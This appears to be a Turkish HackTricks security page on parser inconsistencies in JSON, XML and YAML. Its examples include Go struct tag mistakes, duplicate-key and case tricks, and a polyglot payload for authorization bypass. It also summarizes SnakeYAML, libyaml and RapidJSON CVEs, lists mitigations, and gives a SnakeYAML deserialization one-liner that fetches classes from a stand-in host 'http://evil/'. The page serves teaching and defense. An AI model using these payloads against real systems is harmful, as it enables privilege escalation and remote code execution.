JSON, XML & Yaml Hacking & Sorunlar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Go JSON Decoder

Aşağıdaki sorunlar Go JSON’da tespit edildi, ancak diğer dillerde de var olabilir. Bu sorunlar this blog post adresinde yayımlandı.

Go’nin JSON, XML ve YAML ayrıştırıcıları, kötüye kullanılabilecek tutarsızlıklar ve güvensiz varsayılanlar uzun bir geçmişine sahiptir; bunlar bypass authentication, escalate privileges, veya exfiltrate sensitive data için kötüye kullanılabilir.

(Un)Marshaling Unexpected Data

Amaç, bir saldırganın hassas alanları okuyup/yazmasına izin veren struct’ları istismar etmektir (örn., IsAdmin, Password).

  • Örnek Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Yaygın Zafiyetler
  1. Missing tag (no tag = field is still parsed by default):
type User struct {
Username string
}

Payload:

{"Username": "admin"}
  1. - işaretinin yanlış kullanımı:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

{"-": true}

✔️ Bir alanın (un)marshaled edilmesini engellemenin doğru yolu:

type User struct {
IsAdmin bool `json:"-"`
}

Parser Farklılıkları

Amaç, farklı parser’ların aynı payload’u farklı yorumlamasından yararlanarak bypass authorization yapmaktır; örneğin:

  • CVE-2017-12635: Apache CouchDB bypass via duplicate keys
  • 2022: Zoom 0-click RCE via XML parser inconsistency
  • GitLab 2025 SAML bypass via XML quirks

1. Yinelenen Alanlar: Go’nun encoding/json son alanı alır.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Diğer ayrıştırıcılar (ör. Java’s Jackson) first’ı alabilir.

2. Büyük/küçük harf duyarsızlığı: Go büyük/küçük harfe duyarsızdır:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Unicode hileleri bile işe yarıyor:

json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Servisler arası uyumsuzluk: Düşünün:

  • Go ile yazılmış Proxy
  • Python ile yazılmış AuthZ servisi

Saldırgan gönderir:

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python UserAction’ı görür, izin verir
  • Go AdminAction’ı görür, çalıştırır

Veri Formatı Karışıklığı (Polyglots)

Amaç, formatları karıştıran (JSON/XML/YAML) veya parser hatalarında açık bırakan (fail open) sistemleri istismar etmektir, örneğin:

  • CVE-2020-16250: HashiCorp Vault, STS XML yerine JSON döndüğünde JSON’u XML ayrıştırıcısıyla işledi.

Saldırganın kontrolü:

  • Accept: application/json başlığı
  • JSON gövdesi üzerinde kısmi kontrol

Go’nun XML ayrıştırıcısı yine de bunu ayrıştırdı ve enjekte edilen kimliğe güvendi.

  • Crafted payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Sonuç:

  • Go JSON parser: Action_2 (büyük/küçük harfe duyarsız + sonuncu kazanır)
  • YAML parser: Action_1 (büyük/küçük harf duyarlı)
  • XML parser: string içinde "Action_3"’ü ayrıştırır

Önemli Ayrıştırıcı Zafiyetleri (2023-2025)

Aşağıdaki herkese açık olarak istismar edilebilen sorunlar, güvensiz ayrıştırmanın çok dilli bir problem olduğunu — sadece Go’ya özgü olmadığını — gösteriyor.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Etkilenir: org.yaml:snakeyaml < 2.0 (Spring-Boot, Jenkins vb. tarafından kullanılır).
  • Kök neden: new Constructor() deserializes arbitrary Java classes, allowing gadget chains that culminate in remote-code execution.
  • One-liner PoC (zafiyetli hostta hesap makinesini açacaktır):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Düzeltme / Hafifletme:
  1. ≥2.0’a yükseltin (SafeLoader varsayılan olarak kullanılır).
  2. Eski sürümlerde açıkça new Yaml(new SafeConstructor()) kullanın.

libyaml Double-Free (CVE-2024-35325)

  • Etkilenir: libyaml ≤0.2.5 (birçok dil bağlayıcısı tarafından kullanılan C kütüphanesi).
  • Sorun: yaml_event_delete()’nin iki kez çağrılması, saldırganların DoS’a veya bazı senaryolarda heap exploitation’a dönüştürebileceği bir double-free’ye yol açar.
  • Durum: Upstream “API misuse” olarak reddetti, ancak Linux dağıtımları işaretçiyi savunmacı şekilde null-free yapan yamalı 0.2.6 sürümünü paketledi.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Etkilenir: Tencent RapidJSON commit 8269bc2’den (<1.1.0-patch-22) önceki sürümler.
  • Hata: GenericReader::ParseNumber() içinde kontrolsüz aritmetik, saldırganların sarmalayan ve heap’i bozacak büyük sayısal literal’ler oluşturmasına izin verir — bu da nihayetinde ortaya çıkan nesne grafiği yetkilendirme kararlarında kullanıldığında privilege-escalation’a olanak sağlayabilir.

🔐 Hafifletmeler (Güncellendi)

RiskDüzeltme / Öneri
Bilinmeyen alanlar (JSON)decoder.DisallowUnknownFields()
Tekrarlayan alanlar (JSON)❌ stdlib’da düzeltme yok — jsoncheck ile doğrulayın
Büyük/küçük harfe duyarsız eşleme (Go)❌ Düzeltme yok — struct tag’larını doğrulayın + girdiyi önceden kanonikleştirin
XML çöp verisi / XXEGüçlendirilmiş bir ayrıştırıcı kullanın (encoding/xml + DisallowDTD)
YAML bilinmeyen anahtarlaryaml.KnownFields(true)
Unsafe YAML deserializationSafeConstructor kullanın / SnakeYAML ≥2.0’a yükseltin
libyaml ≤0.2.5 double-free0.2.6’ya veya dağıtım tarafından yamalanmış sürüme yükseltin
RapidJSON <patched commitEn son RapidJSON ile derleyin (≥Temmuz 2024)

See also

Mass Assignment Cwe 915

Referanslar

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin